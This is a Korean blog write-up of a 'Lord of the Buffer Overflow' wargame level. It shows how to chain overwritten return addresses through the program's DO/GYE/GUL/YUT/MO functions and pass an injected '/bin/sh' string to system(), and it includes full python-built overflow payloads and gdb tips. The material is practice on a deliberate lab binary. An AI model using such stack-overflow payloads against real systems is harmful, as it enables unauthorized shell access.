succubus.c를 열어보면 특이점이 있다. 여태까지 썼던 dumpcode가 헤더파일 형태로 소스코드에 그냥 박혀있다.
일단 succubu1.c로 복사 후 맨 끝에 dumpcode(buffer,500);을 추가 후 succubu1로 컴파일해보자.
함수를 살펴보면 DO GYE GUL YUT MO순서로 간 후 MO함수에 /bin/sh라는 문자열을 전달해주면 된다.
(받은 인자로 system함수를 실행한다.)
환경변수, 라이브러리가 다 사용 금지이므로 리턴주소를 각 함수의 주소로 덮어씌운 후 /bin/sh라는 문자열을 내가 직접 넣고, 그 문자열의 주소값을 가리키도록 MO함수의 인자자리에 넣으면 될것이다.
nm이라는 명령어가 있는데 오브젝트 파일의 심볼들을 확인하는명령어라고 한다. ( http://s2kiess.blog.me/220076905877 )
nm succubu1을 해보면 도개걸윷모 함수 주소가 각각
080487ec T DO
0804878c T GUL
080487bc T GYE
08048724 T MO
0804875c T YUT
로 나온다. 그러면 이제 공격에 사용할 동일한 문자열 길이를 넣으면서 버퍼의 주소값을 알아보도록 하자.(/bin/sh문자열의 주소를 나중에 찾기 위해.)
./succubu1 `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"aaaa"+"b"*4+"a"*7'`
실행하면 위에 추가한 dumpcode로 인해 주소값이 뜨는데 b가 들어간 자리가 인자로 넣을 /bin/sh문자열의 주소값 위치이고, 맨 뒤에 a 7개가 /bin/sh문자열이다(7자리) 이렇게 문자열을 똑같은 길이로 넣어줘야 정확한 공격이 가능하다.
빨간 부분 자리가 /bin/sh문자열이 들어갈 주소이고, bbbb대신 저 주소를 적으면 된다. 저 빨간색 주소는
0xbffffab8이다. 그러면..
./succubu1 `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"aaaa"+"\xb8\xfa\xff\xbf"+"/bin/sh"'` 처럼 바꿔주고 하면 된다. 성공을 확인할 수 있으며,
원래의 succubus에도 동일한 공격을 해주면 된다. (다만 도개걸윷모 함수의 주소가 바뀌었을 수 있다.)
*삽질하면서 알아낸건데 dumpcode헤더파일이 없으면 문제를 다른방식으로 풀어야 할 것 같다.
gdb -q succubu1로 들어가서 적절한 곳에 브레이크포인트를 건 후, 위와같이 예시 코드로 실행 후 버퍼 주소를 알아낸다. (x/40x $esp같은걸로) 그후 gdb로 돌리고있는 도중에 공격을 하면 공격이 성공하는데, gdb 바깥으로 나와서 동일한 페이로드로 해보려고 하면 안된다. 그래서 lob 문제 출제자가 달라지는 주소를 알아볼수 있게 알아서 dumpcode를 추가해준것같다.
'systemhacking > practice' 카테고리의 다른 글
lob nightmare->xavius (0) | 2015.01.30 |
---|---|
lob succubus->nightmare (0) | 2015.01.30 |
lob assassin->zombie_assassin (fake ebp) (0) | 2015.01.28 |
lob giant->assassin (0) | 2015.01.27 |
lob bugbear->giant (rtl2) (0) | 2015.01.26 |